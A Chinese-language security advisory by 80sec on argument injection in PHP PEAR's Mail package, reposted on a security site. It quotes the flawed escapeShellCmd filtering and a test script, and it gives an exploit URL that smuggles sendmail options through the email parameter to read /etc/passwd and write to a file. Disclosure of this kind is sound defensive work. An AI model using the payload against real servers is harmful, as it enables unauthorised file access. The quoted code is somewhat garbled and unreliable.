首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
php pear mail包任意文件读写漏洞
来源:http://www.80sec.com 作者:80sec 发布时间:2009-05-08  

漏洞介绍:PEAR是PHP的官方开源类库, PHP Extension and Application Repository的缩写。PEAR将PHP程序开发过程中常用的功能编写成类库,涵盖了页面呈面、数据库访问、文件操作、数据结构、缓存操作、网络协议等许多方面,用户可以很方便地使用。它是一个PHP扩展及应用的一个代码仓库,简单地说,PEAR就是PHP的cpan。但是80sec发现,Pear的Mail模块存在安全漏洞,某些情况下将导致用户以webserver权限在主机上读写操作系统任意文件,继而控制主机执行php代码等。
漏洞分析:PEAR的Mail包错误地使用escapeShellCmd来过滤传入到sendmail命令的用户参数,用户提交精心构造的参数即可调用sendmail的其他参数,即可在操作系统上读写任意文件。
 

Php 代码复制代码
  1. Sendmail.php
  2.  
  3. ......
  4. if (!isset($from)) {
  5. return PEAR::raiseError('No from address given.');
  6. elseif (strpos($from' ') !== false ||
  7. strpos($from';') !== false ||
  8. strpos($from'&') !== false ||
  9. strpos($from'`') !== false) {
  10. return PEAR::raiseError('From address specified with dangerous characters.');
  11. }
  12.  
  13. $from = escapeShellCmd($from);
  14. $mail = &popen($this->sendmail_path . (!empty($this->sendmail_args) ? ' ' . $this->sendmail_args : '') . " -f$from -- $recipients"'w');
  15. if (!$mail) {
  16. return PEAR::raiseError('Failed to open sendmail [' . $this->sendmail_path . '] for execution.’);
  17. }
  18. ……
  19.  
  20.  
  21.  

可以看到 $from 变量的过滤并不完全,由于escapeShellCmd会将\等字符替换为空,即可绕过对空格的检查,而escapeshellcmd本身并不检查对于参数的调用,所以导致安全漏洞的发生。

漏洞测试:
 

Php 代码复制代码
  1. <?php
  2. ini_set('include_path',ini_get('include_path').':/usr/local/lib/php/PEAR:');
  3. require_once("Mail.php");
  4. $from = "From: " . $_REQUEST['email'] . “\r\n”;
  5. $to = “xxxxxxx&zzzz.com”;
  6. $subj = “subscription request”;
  7. $body = “subscribe me”;
  8. $hdrs = array(
  9. To” => $to,
  10. Cc” => $cc,
  11. Bcc” => $bcc,
  12. From” => $from,
  13. Subject” => $subject,
  14. );
  15. $body=”test”;
  16. $mail =& Mail::factory(’sendmail’);
  17. $mail->send($to$hdrs$body);
  18. ?>
  19.  
  20.  

http://www.80sec.com/index.php?1=3&email=xxxxx%09-C%09/etc/passwd%09-X%09/tmp/wokao%09zzz@x%09.com&l=2&1=3

即可看到此漏洞的利用。

漏洞影响:所有PEAR的Mail函数包
漏洞状态:通知官方

本站内容均为原创,转载请务必保留署名与链接!
php pear mail包任意文件读写漏洞:http://www.80sec.com/php-pear-mail-package-security-hol.html

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·php mail function open_basedir
·Bo-Blog 2.0.3 注射漏洞
·2009-4 应用安全漏洞 选录
·Google Chrome使用ajax读取本地
·server limit dos
·安全模式下exec等函数安全隐患
·尘月网络企业网站智能管理系统漏
·hzhost6.5虚拟主机管理系统最新S
·Discuz!论坛wap功能模块编码的注
·QQmail Multiple Xss Vulnerabil
·安全模式下exec等函数安全隐患
·ToolTalk rpc.ttdbserverd _tt_i
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved